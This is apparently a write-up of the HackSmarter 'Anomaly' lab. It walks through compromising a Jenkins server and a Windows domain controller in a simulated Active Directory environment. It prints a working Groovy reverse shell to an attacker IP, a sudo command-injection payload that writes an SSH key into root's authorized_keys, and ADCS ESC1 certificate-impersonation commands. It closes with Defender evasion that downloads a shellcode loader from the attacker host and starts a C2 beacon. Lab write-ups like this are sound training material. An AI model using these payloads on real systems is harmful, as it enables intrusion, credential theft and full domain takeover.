Syk0

Anomaly


This box is provided by HackSmarter https://www.hacksmarter.org/

Overview

Anomaly is a HackSmarter lab that simulates a realistic Active Directory environment spanning two machines: a Linux-based web server running Jenkins and a Windows Domain Controller. The attack path involves exploiting weak Jenkins credentials to gain an initial foothold, performing binary analysis to escalate privileges to root on the web machine, and then pivoting into the Active Directory domain using a Kerberos keytab file discovered on the compromised host. From there, a password found in an AD user's description field allows full domain enumeration via BloodHound. The path to Domain Admin is through an ESC1 Active Directory Certificate Services (ADCS) vulnerability, abused by creating a rogue machine account to request a certificate impersonating a privileged user. The final step bypasses Windows Defender using a process-injection loader to land a beacon on the Domain Controller.

Machines:

  • Web server: 10.1.114.155 (Linux / Jenkins)
  • Domain Controller: 10.1.194.14 (Windows / ANOMALY-DC.anomaly.hsm)

Key techniques:

  • Default credential abuse (Jenkins)
  • Groovy script console reverse shell
  • SUID/sudo binary analysis with Ghidra (command injection via filename)
  • Kerberos keytab extraction and ticket-based lateral movement
  • BloodHound AD enumeration
  • ADCS ESC1 certificate template abuse
  • Defender evasion with RustHarderInProcess + Adaptix C2

Recon

We begin by running a standard nmap scan against both machines - the first pass uses default scripts and version detection on common ports, and the second sweeps all 65535 ports to ensure nothing unusual is missed.

Web machine (10.1.114.155):

sudo nmap -sC -sV -vv -oA tcp 10.1.114.155; sudo nmap -sC -sV -vv -p- -oA allports 10.1.114.155

The scan reveals a Jenkins instance listening on the web machine. Jenkins is a popular open-source automation server frequently found in internal environments and is a high-value target due to its ability to execute arbitrary code through build jobs and its script console.

Domain Controller (10.1.194.14):

sudo nmap -sC -sV -vv -oA tcp 10.1.194.14; sudo nmap -sC -sV -vv -p- -oA allports 10.1.194.14

The DC scan shows a typical Windows domain controller profile: Kerberos (88), LDAP (389/3268), SMB (445), RPC, and DNS (53) - confirming this is an Active Directory environment. The domain name anomaly.hsm is identified through service banners and certificate data.


Foothold

Jenkins Default Credentials

With Jenkins exposed on the web machine, we attempt common default credentials. The combination admin:admin succeeds immediately, granting full administrative access to the Jenkins interface.

This is a common misconfiguration in environments where Jenkins was stood up quickly and never hardened. As an administrator, we have access to the Script Console under Manage Jenkins, which allows execution of arbitrary Groovy code in the context of the Jenkins process.

Groovy Reverse Shell

We use Jenkins' built-in Groovy script console to execute a reverse shell payload. The following Groovy snippet creates a TCP socket connection back to our attack machine and attaches it to a /bin/bash process, giving us an interactive shell:

String host="10.200.47.3";
int port=8443;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

With a listener running on our attack machine (nc -lvnp 8443), we receive a shell back as the jenkins service account.

Sudo Enumeration

Once on the box, we run sudo -l to check what commands the jenkins user is permitted to run as root without a password. We find a non-standard binary:

sudo /usr/bin/router_config

This is a custom binary with root sudo privileges - a classic privilege escalation vector. Since it's not a standard system utility, it likely has custom logic that we can potentially abuse.


Privilege Escalation on Web

Binary Analysis with Ghidra

We download the router_config binary to our attack machine for static analysis using Ghidra, a free reverse engineering tool developed by the NSA. After loading the binary and running the auto-analysis, we examine the decompiled main function:

The decompiled code reveals that the binary takes a filename as an argument, copies it into a local buffer (local_218), and then passes it directly to system() without any sanitisation:

This is a command injection vulnerability - because the filename is passed unsanitised to system(), we can append arbitrary shell commands using a semicolon. Since the binary runs as root via sudo, any commands we inject will execute with root privileges.

Exploiting the Command Injection

We craft a payload that appends our SSH public key to root's authorized_keys file, then verify it was written successfully:

sudo /usr/bin/router_config "/tmp/t.cfg;echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJIAy+FRH0fbnaaq0qbiF/vlQhUK5/qBVADGEq+HmNfT syk0@kgh0st' >> /root/.ssh/authorized_keys"
sudo /usr/bin/router_config "/tmp/t.cfg;cat /root/.ssh/authorized_keys"

Our key is written successfully. We can now SSH directly into the web machine as root. The user flag is retrieved from root's home directory.


Lateral Movement

Kerberos Keytab Discovery

With root access on the web machine, we begin enumerating for credentials or artifacts that could help us pivot into the Active Directory domain. A Kerberos configuration file is found on the host - a strong indicator that this Linux machine is domain-joined or communicating with the AD environment:

LinPEAS Enumeration

We transfer and run LinPEAS with a targeted module set to focus on the most useful checks while keeping the output manageable:

system_information,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex

LinPEAS identifies a Kerberos keytab file on the system:

A .keytab file stores long-term Kerberos keys for a principal (user or service account) and can be used to request Kerberos tickets without knowing the plaintext password - making it extremely valuable for lateral movement.

Extracting Credentials from the Keytab

We attempt to extract NTLM hashes from the keytab using KeytabExtract, which can sometimes recover NTLM hashes from RC4-HMAC encrypted keytab entries:

No NTLM hash is available (the keytab likely uses AES encryption only), but the principal name [email protected] is extracted from the keytab, revealing a valid domain user account.

Using the Keytab to Obtain a Kerberos Ticket

We configure our local Kerberos client by updating /etc/krb5.conf with the domain details (ANOMALY.HSM, KDC at 10.1.194.14), then use kinit to authenticate to the domain using the keytab file directly - no password needed:

kinit -kt krb5.keytab [email protected]

A valid Kerberos TGT (Ticket Granting Ticket) is now cached locally for Brandon_Boyd.

Validating Domain Access with NetExec

We export the Kerberos ticket cache path and use NetExec (nxc) to confirm we can authenticate to the domain:

export KRB5CCNAME=/tmp/krb5cc_1000
 
nxc smb anomaly.hsm -k --use-kcache

Authentication is confirmed - we now have a valid, active domain session as Brandon_Boyd.

Password in User Description

During LDAP enumeration, we discover that a domain user account has a plaintext password embedded in their AD description field - a common administrator shortcut that creates a serious security risk:

We verify the discovered password against the domain using nxc:

nxc smb anomaly.hsm -k --use-kcache --generate-hosts-file test_hosts

The credentials Brandon_Boyd:3edc4rfv#EDC$RFV are valid. We now have a stable username/password pair, which is more reliable than a keytab for the tooling ahead.

BloodHound Collection

With working credentials, we run a BloodHound collection to map the full Active Directory environment and identify attack paths to privileged accounts:

nxc ldap anomaly.hsm -u Brandon_Boyd -p '3edc4rfv#EDC$RFV' --bloodhound -c All --dns-server 10.1.194.14

The data is imported into BloodHound for analysis:

BloodHound reveals that ANNA_MOLLY is a domain administrator - making her account the primary target for privilege escalation.

SMB Share Enumeration

We spider all accessible SMB shares to look for sensitive files, credentials, or configuration data:

nxc smb 10.1.194.14 -u Brandon_Boyd -p '3edc4rfv#EDC$RFV' -d anomaly.hsm --shares -M spider_plus -o DOWNLOAD_FLAG=true -o OUTPUT_DIR=.

BloodHound CE Collection

We re-run the BloodHound collection using the Community Edition Python ingestor, which captures additional group membership and ACL data that the NXC collector missed:

bloodhound-ce-python -c All -u Brandon_Boyd -p '3edc4rfv#EDC$RFV' -d anomaly.hsm -dc ANOMALY-DC.anomaly.hsm -ns 10.1.194.14

The enriched BloodHound data points toward an ADCS-based attack path.


Privilege Escalation

ADCS Vulnerability Discovery (ESC1)

We run certipy-ad to enumerate Active Directory Certificate Services and identify any vulnerable certificate templates:

certipy-ad find -u Brandon_Boyd -p '3edc4rfv#EDC$RFV' -dc-ip 10.1.194.14 -vulnerable

Certipy identifies a vulnerable template (CertAdmin) susceptible to ESC1 (Enrollment Agent / Subject Alternative Name abuse). ESC1 allows an enrollee to specify an arbitrary UPN (User Principal Name) in the certificate's Subject Alternative Name field, effectively allowing us to request a certificate that impersonates any domain user - including administrators. However, exploiting this requires a machine account (ending in $) as the requesting principal.

Checking Machine Account Quota (MAQ)

Before we can create a machine account, we verify that the domain's ms-DS-MachineAccountQuota attribute permits standard users to add computers to the domain (the default quota is 10):

nxc ldap 10.1.194.14 -u Brandon_Boyd -p '3edc4rfv#EDC$RFV' -M maq

The MAQ is non-zero, meaning Brandon_Boyd can register a new machine account.

Creating a Rogue Machine Account

We use certipy-ad account create to add a new computer object (syk0$) to the domain under our control:

certipy-ad account create -u Brandon_Boyd -p '3edc4rfv#EDC$RFV' -dc-ip 10.1.194.14 -user 'syk0$' -pass '3edc4rfv#EDC$RFV' -dns 'syk0.anomaly.hsm'

Requesting an Impersonation Certificate

With the machine account created, we request a certificate from the vulnerable CertAdmin template, specifying [email protected] as the UPN in the SAN field to impersonate the domain admin:

certipy-ad req -u 'syk0$' -p '3edc4rfv#EDC$RFV' -dc-ip 10.1.194.14 -ca anomaly-ANOMALY-DC-CA-2 -template CertAdmin -upn [email protected] -debug

The certificate is issued successfully. However, when we attempt to authenticate using the PFX, we encounter a SID mismatch error:

certipy-ad auth -pfx anna_molly.pfx -ns 10.1.194.14 -dc-ip 10.1.194.14 -domain anomaly.hsm -debug

This error occurs because the CA or KDC is enforcing SID validation - the certificate must embed the correct SID for the impersonated account. We retrieve ANNA_MOLLY's SID from BloodHound:

Re-requesting the Certificate with the Correct SID

We make a second certificate request, this time explicitly including ANNA_MOLLY's SID using the -sid flag, which embeds it into the certificate as a security extension:

certipy-ad req -u 'syk0$' -p '3edc4rfv#EDC$RFV' -dc-ip 10.1.194.14 -ca anomaly-ANOMALY-DC-CA-2 -template CertAdmin -upn [email protected] -sid S-1-5-21-1496966362-3320961333-4044918980-1105 -debug

Authenticating as Domain Admin

We authenticate using the new PFX. The KDC accepts the certificate and issues a Kerberos TGT for ANNA_MOLLY, along with her NT hash via PKINIT's UnPAC-the-hash mechanism:

certipy-ad auth -pfx anna_molly.pfx -ns 10.1.194.14 -dc-ip 10.1.194.14 -domain anomaly.hsm -debug

We now have ANNA_MOLLY's NTLM hash (be4bf3131851aee9a424c58e02879f6e), giving us full domain administrator access via pass-the-hash.

Defender Evasion and Beacon Deployment

The Domain Controller has Windows Defender active, so standard tools and payloads will be detected and blocked. We use RustHarderInProcess https://github.com/0xsyk0/RustHarderInProcess - a Rust-based shellcode loader that performs in-process injection to evade signature-based detection - to load an Adaptix C2 beacon on the DC.

First, we download the loader to a writable directory on the target using nxc with pass-the-hash and PowerShell execution:

nxc smb anomaly.hsm -u anna_molly -H be4bf3131851aee9a424c58e02879f6e -X "wget http://10.200.47.3:8443/rri.exe -OutFile C:\\Windows\\Tasks\\rri.exe"

Then we execute it using atexec (Task Scheduler execution method) to avoid spawning a suspicious child process from the SMB service:

nxc smb anomaly.hsm -u anna_molly -H be4bf3131851aee9a424c58e02879f6e -X "Start-Process C:\\Windows\\Tasks\\rri.exe" --exec-method atexec

The beacon connects back to our Adaptix C2 server, giving us a fully interactive, Defender-evading session on the Domain Controller as ANNA_MOLLY - Domain Admin. The domain is fully compromised.